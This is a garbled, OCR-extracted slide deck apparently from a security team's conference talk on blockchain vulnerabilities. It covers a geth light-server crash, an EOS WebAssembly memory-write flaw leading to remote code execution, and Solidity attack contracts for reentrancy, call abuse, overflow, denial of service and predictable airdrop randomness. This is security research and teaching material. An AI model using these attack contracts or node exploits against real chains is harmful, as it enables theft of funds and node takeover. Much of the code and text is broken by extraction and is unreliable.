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ABOUT US

Redteam belongs to the 360 company information
security department. Our research includes security
services, red and blue confrontation, physical
penetration, blockchain security, security research
and more. We hope to use our red and blue
confrontation and physical penetration to do our
best service for our customers. At the same time,
the team is closely following the pace of the times,
and has obtained multiple CVE numbers and
thanks for blockchain security. RedTeam contributes
to the era of the world's Internet security and
creates oxygen for 360 safe brains.
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01
Introduction

&Background




A blockchain is an intelligent peer-to-peer network that uses distributed databases to identify, propagate, and record information,
also known as the value Internet. In 2008, Satoshi Nakamoto proposed the concept of “blockchain” in Bitcoin White Paper and

created the Bitcoin social network in 2009.



Block Chalin
Core Technology

Blockchain is not a new technology, but a technical
combination of old technologies. Its key technologies,
including P2P dynamic networking, cryptographic-
based shared books, consensus mechanisms

smart (byzantine generals), smart contracts, and other
contracts technologies are all older technologies with more than
a decade of history.

< more. . >

cryptographic
&consensus
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Block Chalin
Core Technology

P2P

Peer-to-peer, or P2P in its abbreviated form, refers to
computer networks that use a distributed architecture. That
means that all the computers or devices that are part of it
share the workloads in the network. The computers or
devices that are part of a peer-to-peer network are called

peers.

cryptographic  fcryptographic smart
&consensus Smart contract
contracts
cryptographic used to sign or Hash &consensus Smart contracts help you exchange money,
calculations. property, shares, or anything of value in a

PoW. PoS. DPoS used to solve the transparent, conflict-free way while avoiding the
secure problems. services of a middleman.
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Blockchain Features

Decentralization

Decentralization is the most fundamental
property of the blockchain, and it is also
the most important factor that distinguishes
the blockchain from other distributed
ledgers.

Irreversibllity

There is no central body which
governs whether a particular
transaction should be recorded or not.
This is solved for using consensus
amongst all nodes on the blockchain.
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Blockchain Generations

Blockchain technology, it is divided into three stages: blockchain 1.0,
blockchain 2.0, and blockchain 3.0.
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Generations 1.0

Bitcoin and Digital Currencies

The typical representative is:
Bitcoin, Bitcoin is the most
successful application in the
development of blockchain.
However, the disadvantage of
Blockchain 1.0 is that it does not
support other developments
such as writing smart contract
functions.

Generations 3.0

The Future

One of the major issues facing
blockchain is scaling. Bitcoin remains
troubled by transaction processing
times and bottlenecking. Many new
digital currencies have attempted to
revise their blockchains in order to
accommodate these issues, but with
varying degrees of success.

auQ
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Blockchain appearance

Blockchain concept appears

In 2008, Satoshi Nakamoto
proposed the concept of
“blockchain” in Bitcoin White
Paper

Generations 2.0

Smart Contracts

Smart contracts are added to the
digital currency, and other
application development can be
done on this basis. Blockchain
2.0 stands for Ethereum.
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International blockchain standard

ISO

In September 2016, the ISO/TC307 blockchain and
electronic distributed ledger technology group was
established, responsible for the development of
standards for blockchain and distributed ledger
technology, establishing reference architecture
research groups, security and privacy research
groups, and smart contracts research group, etc.

IEEE

In December 2017, the IEEE Blockchain
Assets Trading Committee was formally
established, which will promote the
development of international standards
related to blockchain asset trading, and
evaluate and certify tokens on the market.

& IEEE

International

ITU

In 2017, ITU-T established three focus
groups, a problem group and a number of
projects to standardize on blockchain
development, security and Internet of Things,
next-generation network evolution, and data
management applications.

W3C

In July 2016, a blockchain conference was
held to discuss the application of Web and
Web technologies to support distributed
accounting techniques, and to standardize
APIs and key data formats, identification
and authorization.
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Architecture

Applications

Wallet

Decentralized Ledger

Block Structure Validation

m Proof of Work

Blockchain

Peer-to-Peer Network

Node types

redteam@360.cn



‘O .... L ‘.. ‘

A T T

* I ovl!’ ¥

cee "‘.".::ocl'.’

e dld’
.‘..’ LiAsewiLy

. .o
‘Qoooooo‘::v.}:..’..
P '.....‘.

LR A ) oooo.L.

..‘.0.0:;oooo

.’."0’0000'00000000.

NN EEREE
ﬁoo’oooo:

A AT -
AT LI
SR ss v
$o0vsvvnne o
E s ssvvnnse 4
Fone S

.:- v . o... 'y 2
‘ ",~ f Ooo..ﬁ. '\ R :o
oy RO O /
'. ,,/ =L Ml B .- LA L X2 a8 S
e, eeee beo ‘ . . . 2
~T B T } sesanens o ( R EEE R LI A S A AL oy Aty v 1
< i e S AL LI NN . , T L T

J centen
I P “ees A,
-

iy

oooo,’ooooooo..

A% F ST '.o.:i‘ " e
= . ST TR TS S 2 '
iaad AN R~

3 “ome e a VIV L -
A I oo .OOQOM":."";A‘.b”“ oy g
: ',‘ ® SRR En W i \

e e\e Oooooooo.........’m.“.ruoo.“

HI'OO'oooooo e

ooooooo, Wl L T
“oqoooo\ooooo"oooo 0\:({0..’.

] ........... ....“......

- J
{ ...‘........‘.O’....O....

—

'

< L
oo\q\.

. N
- ..

o

“een ev Voo e o R ‘ COLEER
- R Vs ) \‘\.\... o.ooo. T T 1 \‘fE:.o.....'
[ — A‘J "OOV'OOOQQQQQQQQQ . P \/ . \..‘........ s 0.‘\'.'“...*”
Il AR L T SREssrsvrsnrnnnn o S ‘ \ \0\,0\‘\000000. .o.o.:::.‘..
[ — t_’rttioodtoooooo.bo\p‘ooo00ooo.o..‘_"3/. \ 3 : J v — »_—-_-;“ NS e ofe Booes o » \V, \“ .oooo"“‘.
N4 ..LL‘.’....""'“‘!l‘°_‘f'j.\00 e an 09..":. .. - \“ / S "// - .‘l Yo ." . . .‘!'-._.\ g ! v \ Je o - \'. e oo“"“""...‘." A e
AT AN =‘r00.o-oocooooooo.ooooi; . i",";., 28 e \\\ ‘\,_\ [, S o/ .. « e PR 0'\“. » 0"",1 ",/ N . “, » \. L » ,dJ.-! ... . . .‘.0 - 00 AR EETE TS ...“‘:r.’..
~ . 00.‘00.“000..000.0'..0...\.lo'o_to‘ooo.... - ‘/‘ \ oo .."{.o. ° /. e b )- . 3 ’\\o )\: .- o:_o_/).,ri LR ooq_»:o o.o.::.....‘....... .....,'.‘...o:::o..:‘..
| ’ ‘\-.:-o oo“oo-oooooaooo‘-oooooo’;fo,.....'.‘. - - N/ e ”;». ql o ."v. Lt ‘... /__,- , » ‘ ’ \ . » // ."l‘ L Wesssnsnns S a s nnnnnn 'o"..‘.......’:;;;;
: e . - R T TII ' PN . ~ Y/ [ SN v \ ' . . i
\ - i AR e T A | N / : ' .8 6 v , ~e¢ V (0 AR S R R I L I Y 7°*Yeobocess -
senen '”‘.............'_......‘........ o \; /,'o'. L 0'.. / [ a 5 g . ) . - svhe ..ao’o’
*.—...,ouun....;.,.....T;.‘.."-u > \ ] 2dcoodde e o S/ < \_\. P AL L I L A A T T T . "esraANe
LA B R o _',’-_\ \ // \ | ® Srase S h o '
M-.-aoooof.o‘-oo:lcoocv L e f AN ra 1 * e \‘ - S A7 RN KR ......'.:.::::,...,:.""’o'. *EA S remmssrvvIRR

- > P .
LAAA AR R R R R AN T YT T

R, c:;..o.ooooo-ooo.-c..\W“lvo
LR R R » o » f : b <~ —— » ’ ..’::::
-..uu.o........a.....-...........-.' ’ b ' e oo?.coo*o'ooooooo. LRI ! .
»

ooooo-o.ooio.“-. “0o.to.oooo.nl“‘.o.o.::;:.o’oooo
R —— .y n ..,,,,,.,..,.....@
CR——aw el e e s s gt 0 W » A A I T T I R s T I T I T r ¢ P ""'.".'...'..-0'..
———
O———
———

—
» » e 7 N . a ev e ehd - N .. a !
. el L L R LA AL T R 4 > ‘ ==
:‘N ! A A A T T T T \ R / ° SRR ETE .,.--. e
. Ny ssssans s | " A
LR
)

\ .
» W : loo....0o.-l.04\.00h“ioo..--iooyoloottbo oooooo
i M - ..,...o.oo.'toooo-otb.:
\ » '. . "
aaad Al L Ll L e Y T s s ’ ‘
A A AR AR AR R R R R R RN »

»
»
»
»
-
N
-
»
»
»
»
-
»
-
»
»
»
»
»
»
»
»
»
»
»
»
»
£
»

ooooooo .0..o........“Q.‘bq\......llvoc.oooo"
,.......................!—
' W N I I R I I BN B B B B » » . » RN We 9 T . DO PP PN WSROI P00 S . 2 B B I B IR B B A R R R R RN ‘-!‘-'x“',".‘\"."_
= 5 2 %o » » » .
diumanivestesseidbescsebsvssssessdocssssssnidese ewo\N NSV N ot JL T 00 000NN S\ TR LY Y YVEE Y YEY YY" AL EY Y Y Y\ o--a-ot...-n-ocolo.vlo--ooac.--*._'.... . )
B B O LN RN I T I O T I ° !
N N L T I I I I T . . .
. [ eencedinecsonsteWoos® o NaS—N" [BZIBNNE="_ . .. /03 N RS Sml— e LN S <] e e N Y R E A T R TR RO LN OEROTNOCTPTRGFERI O TTCOEOTTNOCERNENTENOrITNTCTNOTTOrTUUETETY T L I R R N ETT
................................

2458 7 skt P4 AN R e =
’ P A T T E T T S T T T T T T T T T T T T T Y YT T I MM T T T O T T TTOYTCTTTSTGE R T OENTETETETTTTTT R e 73]




Some of cryptocurrency in recent months
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Blockchain software
vulnerability distribution

Example

Input verification and presentation vulnerability
 Buffer overflow
 Cross-site scripting
* Injection attack, etc.
Code quality problem
* Unused local variables
* Null pointer dereference, etc.
SECIWACEIEES
» Override access
» Unsafe random number

@ Input verification and presentation vulnerability @ Code quality problem
Safety features Mem manager
® API problem @® Others
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1. Public Chain

2. Smart Contract

02
Vulnerability




£

Ethereum

Public Chain Reacher

1
Due to the fact that
mobile lorem social
media current location
of the user gy

1
Due to the fact that
mobile lorem social
media current location
of the user gy

EOS
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Background

Geth

According to Ethernodes, geth has around
two-thirds share.

https://github.com/ethereum/go-ethereum

Make Geth

Given geth is the majority in the Ethereum
network, any critical vulnerability of it could
possibly cause severe damages to the entire
Ethereum ecosystem.

CLIENTS
oy -~
7 .
7/ N
Clients Client Versions
COUNTRIES
Total 12935 (100%)
United States 5551 (42.91%)
China 1646 (12.73%) Wy For development purposes only
Canada 998 (7.72%)
Germany 537 (4.15%)
Russian Federation 459 (3.55%)
United Kingdom 403 (3.12%)
NEGEHERE 283 (2.19%)

RO OP

Network number T Last updated a few seconds ago

0S

|
L Jd

For development purposes only Fc

e

!A
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https://github.com/ethereum/go-ethereum

Details

.

1. Support arbitrary sub-protocols (aka
capabilities) over the basic wire protocol
2. Connection management

This figure display the protocol layers used in
Ethereum. For supporting “light” clients, the
Light Ethereum Subprotocol (LES) allows an
Ethereum node to only download block
headers as they appear and fetch other parts
of the blockchain on-demand. To achieve
that, we also need a full (or archive) node
acting as the LES server to serve the light
nodes.

1. Encrypted Handshake/Authentication
2. Peer Persistence
3. UDP Node Discovery Protocol

geth --lightserv 20

While an LES client requesting block headers

from an LES server, the GetBlockHeaders EFthereum Protocol Stack
message is sent from the client and the

message handler on the server side parses

the message.

redteam@360.cn



func (hc x ) GetBlockHashesFromHash(hash , max uint64) []

:= hc.GetHeaderByHash(hash)

if == nil {
return nil
}
el T s, 0, max) (common.Hash{}) && query.Reverse:
uint64(0) < ++ {
ext := _ | ery.Skip)+1; i++ {
7 lﬂeak== .GetHeader (next, header. .Uint64()-1) ockchain.GetHeader(query.Origin.Hash, number); header != nil {
} ash = header.ParentHash
= append(chain, next)
if : .Sign() == 0 {
break
}
}
return
case query.0Origin.Hash != (common.Hash{}) && !query.Reverse: QU@W-SK|P+1 =O
if header := pm.blockchain.GetHeaderByNumber(origin.Number.Uint64() +_cw@ ;. 5Kip + 1); header != nil {

if pm.blockchain.GetBlockHashesFromHasN(header.Hash(), query.Skip+1) [query.Skip] == query.Origin.Hash {
query.Origin.Hash = header.Hash()

} else {
unknown = true

Max size OXxfFfffff

struct {

uinté64
uinté4
bool

unknown = true

}

case !'query.Reverse:

query.Origin.Number += query.Skip + 1

redteam@360.cn



Process

Index out of range

GetBlockHeaders GetBlockHashesFromHash

query.skip= OxfffFFFFFEFFFFF
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DEMO

redteam@360.cn



Background

Eos

Be an operating system that truly supports EOS Charts

Zoom 1d 7d 1Im 3m ly YTD ALL From | Jul 2, 2017 To | Oct 26, 2018

$20.00
$15.00
$10.00
\\‘
v
$5.00
|
,\\\//\h——~‘\--‘¥\—-—f~_———~—J/\Aj/~J $0

Linear Scale Log Scale 7 =

commercial applications.

https://github.com/EOSIO/eos

(asn) 21144

One of the best things about using WASM is
that EOS smart contracts can be written in
any programming language that compiles to
WASM.

‘IH\I thlhn...;. ........... il ok hﬂml‘l‘” m'Hl‘ll’MilHlJ.ilill.lil.\lhnll\im..

.,|Ii|1‘||..dni||h|\|”
Jan '18 ay
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Details

This is a buffer out-of-bounds write vulnerability At libraries/chain/webassembly/binaryen.cpp
(Line 78),Function binaryen_runtime::instantiate_module:

(auto& ségment : module—>tab1e;§egments) {

Address offset = ConstantExpressionRunner<TrivialGlobalManager>(globals).visit(segment.offset).value.geti32();
assert(offset + segment.data.size() <= module->table.initial);

(size_t i = 0; i '= segment.data.size(); ++i) {
table[offset + i] = segment.data[i];

}

The values offset and segment.data.size() are read from the WASM file.

This creates a vulnerabillity that can be exploited by a malicious contract providing
invalid values. By doing so, attackers would be able to write data into arbitrary
addresses in memory and, ultimately, take control of the node.

By stealing the private keys of supernodes, controlling the content of new blocks,
packing a malicious contract into a new block and publishing it.

redteam@360.cn



Process

Upload malicious contracts
NodeEOS

Segment fault

Reverse shell

Remote Code
Execution
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DEMO
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Blockchain Smart Contract Vulnerability

Base on Ethereum

Arithmetic
overflow

Bad
Randomness
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Blockchain Smart Contract Vulnerability

Base on Ethereum

Smart Contract Gas

SMART CONTRACT

o o 7
H % %O ﬁ ETHEREUM v

PARTIES SMART CONTRACT EXECUTION
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Reentrancy
EVENT

On June 17, 2016, the DAO smart
contract was attacked. The attackers
stole 3.6 million Ethereum coins,
which were worth about $70 million
and are now about $750 million.

Because of this attack, Ethereum had
a hard fork and was divided into
Ethereum Classic (ETC) and
Ethereum (ETH). The vulnerability
exploited by this attack is the reentry
vulnerability.

B 0. 02186 Poloniex XBT

Crosshairs

M 5M 15M 30M 1H 2H 6H 1D 1W Hide menu

%~/ [ fi-

15:00

18:00

21:00

617  pom

3:00

6:00

9:00 12:00
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} o}

solidity "0.4.22;

foo {
address admin:

Reentrancy
EXAMPLE

mapping (address => uint256) balances;

foo(){
admin = msg.sender;
}
deposit() {
(balances [msg.sender] + msg.value >balancesst .sender]);
balances [msg.sender] msg.value;
}
withdraw(address to, uint256 azg 54

(balances [msg.sender/
(balances [msg.sende;

to. call.value(amount)();

vd Lances [msg.sender] amount;

g ‘l|t);
amount < balances[msg.sender]);

A transfer function
address.gas().call.value()

redteam@360.cn



Ordinary account Ordinary account

A 0 Attack account C

solidity "0.4.22;
attack{
address admin;
address foo_address;

1.Create contract

adminOnly{ ¢ 3.Create and transfer 2 eth} 8 Withdrawal 52et|
(admin msg.sender);
} |
{ 2.Deposit 50eth
attack()

admin = msg.sender; Foo «——— A Deposit 2eth———————————— Attack

} contract contract
setaddress(address target) adminOnly{ >.Withdrawal 1eth
foo_address - target; f
- 6.Transfer Leth to the attack contract and execute fallback() again
deposit_foo(uint256 amount) adminOnly{

foo_address.call.value(amount) (bytes4(keccak256("deposit()"))); 7 Execute multiple fallback(), all eth out

} ' '
withdraw_foo(uint256 amount) adminOnly{

foo_address.call(bytes4(keccak256("withdraw(address,uint256)")), ,amount);

}
stop() adminOnly{
(admin);
}
() {
(msg.sender foo_address) {
foo_address.call(bytes4(keccak256("withdraw(address,uint256)")), ,Msg.value);

}

} to.call.value(amount)():

balances [msg.sender] amount;
redteam@360.cn



Call function abuse

delegatecall

2.delegatecall() ——————————

callcode

redteam@360.cn



Call function abuse

Example 1

solidity "0.4.22;

foo{
address

addr.
addr.
}
atta
address
admin
}

admin;
call_function(address addr,bytes4 data)
delegatecall(data);
callcode(data);

ck {
ar  _a;
test() {
®X®38f16®ad€324®9bfb18582241d9fd88cla®72ba;

EXAMPLE

call_function(bytes daya)
.call(data);

withdraw(address addr)
(isAuth(msg.sender));
addr.transter| .Dalance);

Example 2

redteam@360.cn



» Solidity's uint defaults to a 256-

Arithmetic overflow

uint8 integer

Integer overflow

bit unsigned integer, indicating
a range of: [0, 27256-1]

-1

0 [ofojojojojojojfo

redteam@360.cn




Arithmetic overflow
EXAMPLE

balances[msg.sender]=5 «6 =2*256-1>1

solidity "0.4.22;

foo {
mapping (address => 256) balances;
deposit() {
balances [msg.sender] nsg.value;
}

withdraw(uint256 amount){
(balances [msg.sender] - amount > 0);
msg.sender.transfer(amount);

balances [msg.sender] amount;
L 8

redteam@360.cn



Denial of Service

“DOS is the
abbreviation of
Denial of Server. It
will destroy the
normal function of
the contract,
resulting in abnormal s

function or abnormal
loop, resulting in a
large consumption of
Ether and Gas.”

redteam@360.cn



Denial of Service
EXAMPLE

King of the Ether contract

| solidity ~0.L.22;

2 king§

3 address owner;

L uint256 price;

5 king(uint256 _price){

6 (Lprice > 9);

7 owner = msg.sender;

8 3

9

16 becomeking() { | solidity ~0.4.22;

i | (msg.value pYice "ad:): i attackf

12 owner.transfer(price); ’ O §

13 owner - msg.sender; f OF

14 price price 25 : } attack_contract(address contract_address){
L } S contract_address.call.value(msg.value)(bytes&(keccak256("becomeking()")));
16 3 : 3

redteam@360.cn



Denial of Service
EXAMPLE

King of the Ether contract

Ordinary account Ordinary account
A B

1.Create contract

Attack account C

A Create contract

2 Deposit >=2"price
King

contract

contract

6.go into fallback()

redteam@360.cn



EVENT

Bad Randomness

Fomo3D Game Statistics Calling Count Incoming Funds

Calling Count Incoming Funds (Ether)

2 000 e - 50,000
peak of 1st rnd
20,0004 -------------F 1 MF ---- - - - - - s o s oo e o e e e e e e e e e e e e e e e e e oo m oo - oo - 40,000
LD S e o o e - 30,000
01010 s - 20,000
2nd rnd
3rd rnd
000 e e B R e e R R T RS B - 10,000
O T T o [ R e e R e G PO R A NG T i G M e e | | | R '_0

2018-07-08 2018-07-17 2018-07-26 2018-08-04 2018-08-13 2018-08-22 2018-08-31 2018-09-09 2018-09-18 2018-09

-27

Fomo3D
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Bad Randomness

Forecast contract address
X

Airdrop vulnerability

Bad Randomnes

Calculate the seed by x and
block information

airdrop()

(bool)

uint256 seed = uint256(keccak256(abi.encodePacked( seed < arDrop tracker

(block.timestamp).add

(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(msg.sender)))) (now)).add
(block.number)

)));
((seed - ((seed / 1000) + 1000)) < airDropTracker_)
(true);

isHuman() {
(false); address _addr = msg.sender; m I
} uint256 codelength;

assembly { codelength :- extcodesize( addr)} X calls burXid() to win the airdrop
(_codelLength 0, "sorry humans only");

Create contract X




andomness
Block the deal

Fomo3D Long) @

to = Oxa169df5ed3363cic
Transactions

ﬂ Etherscan - Sponsored slots available. B

A total of 5 transactions found Page 10of 1

Age Value

0.05 Ether
Contract 0x18e1b664c6a2e88b9: 61cbi76a726b7801 A

arning! Emror encountered during contract execution [Bad instruction)

0 Ether
0 Ether
0 Ether ($0.00)

0 Ether

170000 ciBet b cEaett ) Ether

170000

0.00000050100018 Ethef (501.00018 Gwei)

0.0851700306 Ether ($16.88)

getCurrentRoundInfo|()



Blockchain Smart Contract Vulnerability

Demo

Call Abuse
Q CVE-2018-12959

Arithmetic overflow

@ CVE-2018-11561



Call Abuse

CVE-2018-12959

We look directly at line 120, the function approveAndCall.

function approveAndCall (address _spender, uint256 value, bytes extraData) returns (bool
success) {
allowed[msg.sender ][ spender] = value;

Approval (msg.sender, spender, value);

//call the receiveApproval function on the contract you want to be notified. This

crafts the function signature manually so one doesn't have to include a contract 1in here

just for this.

//receiveApproval (address from, uint256 value, address tokenContract, bytes

extraData)

//1it 1s assumed that when does this that the call *should* succeed, otherwise one

would use vanilla approve instead.

1f(! spender.call(bytes4(bytes32(sha3("receiveApproval (address,uint256,address,bytes)"))),
|

msg.sender, value, this, extraData)) { throw; }

return true;




DEMO
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Arithmetic overflow
CVE-2018-11561

We look directly at line 70, the function distribute Token.

function distributeToken(address[] addresses, uint256 _value) {
for (uint i = 0: i < addresses_lenath: i++) {
balances[msg.sender] —= _value;
balances[addresses[i]] += value;

[FansTer(msg.sender, addressesiii, _value);


https://www.youtube.com/watch?v=Tu2iyO38o4A

DEMO
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03
Conclusion




Public Chain
Attack

=g A=HON
Node Attack

Conclusion

Public Chain

Audit
. 1

Smart contract |
Have to figure out the

Attack .
program execution
process

Reentrancy
Call function abuse

Arithmetic overflow

Dos
Bad Randomness

Smart contract

Audit
. 1]

Patiently view each
line of code

redteam@360.cn



Thank You

rrrrrrrrrrrrrr



EVENT

F O M O 3 D Exit Scam Wiki Vanity Nome

Qoa  Pnosan

& hitp//fomoteamjustio/0x1477bbce213f0b37b0503ba0238f 4506584980

N 1T N N !

EXIT SCAMMING
3509596.5554 4

iNn 0114

Hurry and lay claim to funds before it's too late.

& Take control of the private keys

stnet release - branding and functionality may be subject to change.

Bad Randomness

The countdown is 24 hours. Each
participant participates in a scam for
30 seconds (+30s) and the upper limit
IS 24 hours. If the game is over, then
the last player will get 48 participants
from all previous participants.
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Bad Randomness

Increase in time Purchase key

Start a new
round

Determine |
someone Is buying

Earn dividends Recelvg 48% of Game start
the prize pool
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Airdrop vulnerability

Bad Randomnes

The random number in the airdrop reward is generated by the airdrop() in the contract.

airdrop()

(bool)
uint256 seed = uint256(keccak256(abi.encodePacked(

(block.timestamp).add

(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(msg.sender)))) (now)).add
(block.number)

)));
((seed - ((seed / 1000) 1000)) < airDropTracker_)

(true);

(false);

The "random number" seed is calculated from various block information and transaction

originator addresses. But on the blockchain, the block information is open and transparent.

Bad Randomness

Forecast contract address
X

Calculate the seed by x and
block information

seed < airDrop tracker

Create contract X

X calls burXid() to win the airdrop
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